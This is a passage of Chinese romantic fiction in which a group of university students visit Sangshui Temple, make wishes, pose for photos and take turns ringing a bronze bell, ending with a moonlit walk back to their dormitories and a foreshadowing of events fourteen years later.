"那你们先许愿吧，"向南往后退了一步，"我就不打扰了。"顾北收回目光，深吸一口气，走到一个空着的蒲团前跪了下来。他双手合十闭上眼睛，四周的诵经声和香烟缭绕在一起，让心渐渐安静下来。第一个愿望，给家人。希望爸爸妈妈身体健康平平安安，希望哥哥姐姐家庭幸福事业顺遂。第二个愿望，给朋友。希望欢和海晴在大学里一切都好，希望北三108的兄弟们都能开开心心，希望豪他们七个在远方一切都好。第三个愿望，许给自己。
许完愿，四个人走出大殿，在院子里找了个石凳坐下。阳光透过古树的枝叶洒下来，在地上投下斑驳的光影。远远地，涵一行人从侧殿那边绕了出来，正朝后院走，晓琪的声音隔着老远都能听见："这个好看！这个也好看！哎呀我都想要！"涵眼尖，一眼看见坐在石凳上的顾北他们，立刻大声喊："哟——又是你们！好巧啊！"顾北转头，正对上一双亮晶晶的眼睛。向南跟在涵身后，看见他，又是那样弯了弯嘴角。涵已经大步流星地走过来了："这也太巧了！你们也逛到这儿了？""是啊，"顾北站起来，"我们刚许完愿。""那一起逛啊！"涵热情地招手，"人多热闹！来来来，咱们合个影！"
她不由分说把两拨人招呼到一起。欢、海晴和鱼儿也不推辞，笑着走过来。"向南把你的手机拿来用一下，你的像素高。""来来来，都站好！"涵指挥着，"向南你站中间，顾北你站这边，对对对，都再靠近一点！"众人一阵笑。快门按下，定格下这一刻。照片里，阳光正好，古寺幽深，一群年轻人站在一起，笑得灿烂又自然。"再来一张！"涵喊道。又一张。再一张。拍完照，向南拿回手机一张张翻看着，满意地点点头："不错不错，都挺上相！待会儿我传到空间，你们都去存！"
两拨人合在一起往后院走。涵看见深处的钟楼，第一个冲了过去。钟楼在寺院最深处，三层木构，飞檐翘角。檐角悬着的铜铃在午后的风里细碎作响，叮叮当当的像无数只小小的耳朵在倾听。楼内悬着一口大铜钟，钟身铸着密密麻麻的铭文，苔痕沿着底部漫上来一小截，在暗处泛着深碧色的光泽。木槌悬在钟旁，槌头包着旧布，被无数双手磨得光滑温热。涵抱起那根木槌，使劲往钟上一推——"嗡——"第一声钟响炸开，震得人耳膜发麻。涵松开槌柄，笑得蹲在地上半天起不来："这也太响了！耳朵嗡嗡的！""该谁了该谁了？"她站起来拍了拍膝盖上的灰。皓丹摆摆手："你们来，我给你们看着包。"她在旁边的木栏杆上坐下，把几个女生的包拢到身边。
向南走过去。她站到铜钟前面，抬头看了一眼那口沉甸甸的巨钟——钟口内壁在幽暗中呈深墨色，像一面平静的湖。她双手握住槌柄，掂了掂分量，然后深吸一口气，用力推了出去。铜钟重重荡开，第二声轰鸣从钟身内部涌出来——"嗡——"浑厚的声波在山谷间缓慢铺展，像水漫过河床，一寸一寸推向远方的山壁，再折返回来，和自身的余音纠缠在一起。
向南闭上眼。在那片持续震颤的余韵里，她忽然想，这座寺叫桑水寺，但就在刚才那一声钟响的间隙里，她心里浮上来的却是另外三个字——圣耶寺。她不知道这名字从哪儿来的，可能是小时候听阿嬷念经文时听过相似的音节，也可能只是钟声太重，把什么别的声音震出来了。但她没有追问。有些名字不需要出处，只要它在某个时刻落进心里，就足够了。她默念了一遍，又一遍——像在替很多年后的自己，提前记住一个还没有答案的问题。然后她松手，睁开眼。钟还在晃，她的目光从钟面移开，正好对上旁边顾北的视线——他一直站在几步外，看着她。
"顾北，你也来！"涵在后面喊。顾北收回目光，走过去。他站到向南旁边时，伸手去接她还没来得及完全松开的槌柄。两个人的指尖在粗粝的木头上碰了一下，都很轻，像风吹过叶面。向南的手指缩了缩，往后退了半步："你来吧。"顾北握住槌柄，站到钟前。铜钟还在轻微晃动，他等它稳下来，才呼了一口气。双臂用力推出。第三声钟响。"嗡——"比前两声更沉更缓，像从地底深处涌上来的。钟声在山谷间一层一层荡开，撞在对面的山壁上又折返回来，一圈一圈地扩散，在午后的空气里拖出一道绵长的、几乎可见的余音。所有人站在钟楼里，看着那口铜钟在光线中慢慢晃动。阳光从高处的窗棂照进来，落在钟身上，那些斑驳的铭文在光里明灭了一下，又暗下去。
三下钟声，一重一轻一缓，像三种不同的呼吸，融在同一片山谷的午后里。融进了光，融进了风，融进了山壁上折返的余音和檐角铜铃细碎的应和。没有人说话。但每个人都知道，刚才那三下钟声里，各自许了不同的愿望。有些说出口了，有些没有。
回学校的路上，月亮已经从云层后面露了出来，又大又圆，清辉洒在街道上。微风送来桂花的香气，若有若无的，让人不由放慢脚步。两拨人一起走了一段，在北二和北三的分岔路口停下来。涵朝顾北他们摆摆手："明天见啊！""明天见。"向南站在路灯下，侧过身看了顾北一眼，笑了笑，然后跟着室友们拐进了北二的大门。顾北和欢送海晴和鱼儿回宿舍，路灯把四个人的影子拉得很长，交叠在一起，分不清谁是谁。
月光照着北三和北二遥遥相对的窗户。照着108宿舍里已经入睡的年轻人，照着306窗边那串还在轻轻碰撞的风铃。照着桑水寺方向那片沉入夜色的山峦，和山峦里那口重新安静下来的铜钟。钟身上那些斑驳的铭文在暗处沉默着，像在等待一个很远的日子。而那时候没有人知道。那三下钟声要在十四年后才能听到真正的回响。